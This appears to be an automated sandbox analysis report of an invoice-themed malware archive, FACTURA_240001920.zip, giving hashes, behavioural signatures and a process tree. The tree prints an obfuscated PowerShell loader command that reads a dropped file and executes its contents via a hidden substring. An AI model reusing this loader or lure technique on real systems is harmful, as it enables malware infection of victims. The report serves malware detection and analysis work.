Overview
overview
10Static
static
3FACTURA_240001920.zip
windows7-x64
7FACTURA_240001920.zip
windows10-2004-x64
1document.exe
windows7-x64
3document.exe
windows10-2004-x64
10Acclimate.dec
windows7-x64
3Acclimate.dec
windows10-2004-x64
3Ergometere...ks.txt
windows7-x64
1Ergometere...ks.txt
windows10-2004-x64
1Myomectomy.und
windows7-x64
3Myomectomy.und
windows10-2004-x64
3Unlearnabi...ng.tyr
windows7-x64
3Unlearnabi...ng.tyr
windows10-2004-x64
3Unlearnabi...ae.for
windows7-x64
3Unlearnabi...ae.for
windows10-2004-x64
3bayrernes.afv
windows7-x64
3bayrernes.afv
windows10-2004-x64
3Analysis
-
max time kernel
110s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
14-11-2024 10:09
Static task
static1
Behavioral task
behavioral1
Sample
FACTURA_240001920.zip
Resource
win7-20241010-en
windows7-x64
Behavioral task
behavioral2
Sample
FACTURA_240001920.zip
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral3
Sample
document.exe
Resource
win7-20241010-en
windows7-x64
Behavioral task
behavioral4
Sample
document.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral5
Sample
Acclimate.dec
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral6
Sample
Acclimate.dec
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral7
Sample
Ergometerets/marks.txt
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral8
Sample
Ergometerets/marks.txt
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral9
Sample
Myomectomy.und
Resource
win7-20241023-en
windows7-x64
Behavioral task
behavioral10
Sample
Myomectomy.und
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral11
Sample
Unlearnability/quadding.tyr
Resource
win7-20241010-en
windows7-x64
Behavioral task
behavioral12
Sample
Unlearnability/quadding.tyr
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral13
Sample
Unlearnability/termitidae.for
Resource
win7-20241010-en
windows7-x64
Behavioral task
behavioral14
Sample
Unlearnability/termitidae.for
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral15
Sample
bayrernes.afv
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral16
Sample
bayrernes.afv
Resource
win10v2004-20241007-en
windows10-2004-x64
General
-
Target
FACTURA_240001920.zip
-
Size
519KB
-
MD5
f1fc58a97fc3f2502b7cdd0d046ecf81
-
SHA1
02c028d780a63ccdd20b68cef08b6fa045cda1e3
-
SHA256
ca5a0e2963dc959524712f6d71b937d20a2bf15a4fece708ede9a84b50bb2ebf
-
SHA512
cd5ac2f3c35672aacd2916b2619099b32977c51263791c8e36f120ab69f3d9f4d79ba042377b046fc0e6466c48d29fd809566360086f8585cc726f1b4f40948d
-
SSDEEP
12288:ATnVHUif59VXBKLDCyNJV3g3p5EpwdOyPC:AFP5rBKHy51x6
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
pid Process 2920 document.exe 2824 document.exe -
pid Process 2928 powershell.exe 2536 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language document.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language document.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 43 IoCs
pid Process 2388 7zFM.exe 2928 powershell.exe 2388 7zFM.exe 2388 7zFM.exe 2536 powershell.exe 2388 7zFM.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 2388 7zFM.exe 2808 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeRestorePrivilege 2388 7zFM.exe Token: 35 2388 7zFM.exe Token: SeSecurityPrivilege 2388 7zFM.exe Token: SeDebugPrivilege 2928 powershell.exe Token: SeSecurityPrivilege 2388 7zFM.exe Token: SeDebugPrivilege 2536 powershell.exe Token: SeDebugPrivilege 2808 taskmgr.exe -
Suspicious use of FindShellTrayWindow 51 IoCs
pid Process 2388 7zFM.exe 2388 7zFM.exe 2388 7zFM.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe -
Suspicious use of SendNotifyMessage 48 IoCs
pid Process 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe 2808 taskmgr.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2388 wrote to memory of 2920 2388 7zFM.exe 29 PID 2388 wrote to memory of 2920 2388 7zFM.exe 29 PID 2388 wrote to memory of 2920 2388 7zFM.exe 29 PID 2388 wrote to memory of 2920 2388 7zFM.exe 29 PID 2920 wrote to memory of 2928 2920 document.exe 30 PID 2920 wrote to memory of 2928 2920 document.exe 30 PID 2920 wrote to memory of 2928 2920 document.exe 30 PID 2920 wrote to memory of 2928 2920 document.exe 30 PID 2388 wrote to memory of 2824 2388 7zFM.exe 32 PID 2388 wrote to memory of 2824 2388 7zFM.exe 32 PID 2388 wrote to memory of 2824 2388 7zFM.exe 32 PID 2388 wrote to memory of 2824 2388 7zFM.exe 32 PID 2824 wrote to memory of 2536 2824 document.exe 33 PID 2824 wrote to memory of 2536 2824 document.exe 33 PID 2824 wrote to memory of 2536 2824 document.exe 33 PID 2824 wrote to memory of 2536 2824 document.exe 33
Processes
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\FACTURA_240001920.zip"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Users\Admin\AppData\Local\Temp\7zO4599C368\document.exe"C:\Users\Admin\AppData\Local\Temp\7zO4599C368\document.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Skakmatterne=Get-Content -Raw 'C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Myomectomy.Und';$Elske=$Skakmatterne.SubString(43098,3);.$Elske($Skakmatterne)"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2928
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zO459535B8\document.exe"C:\Users\Admin\AppData\Local\Temp\7zO459535B8\document.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Skakmatterne=Get-Content -Raw 'C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Myomectomy.Und';$Elske=$Skakmatterne.SubString(43098,3);.$Elske($Skakmatterne)"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2536
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2808
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
548KB
MD5682e0e22ac2f06d26d24cac1769e1b80
SHA11302dd34b80e32415baacafecdfe31d61d0dd563
SHA25651d366ab87eb5988f96d068d503d21b801b5df4535b8851364e56cbacb8fab82
SHA512083c2225192987117d84bbbdbca228937f570fe31ca90aaff3a8cf6b4c1822a1b39523424723bc596056823c338cd7db193777b36487cf732bb526176935daa2
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD519cb2b006e3d35c70a49bf37b0bc30f2
SHA1d8cdcd1c6a40cc5685b561ba3dbcc541c0601bcc
SHA25615fa23cdb1d2990206bba4b560216bd56e7cd5b43cd6c477082cfdaf0de4ab11
SHA51232e34527249b72eec15c80feb16f4861c0223a7dea171f4b546b8d1c9c24465a0948343f9616466f15e24e1de91bfacfb79c3e4fc6537d5d2415c685aa9028b2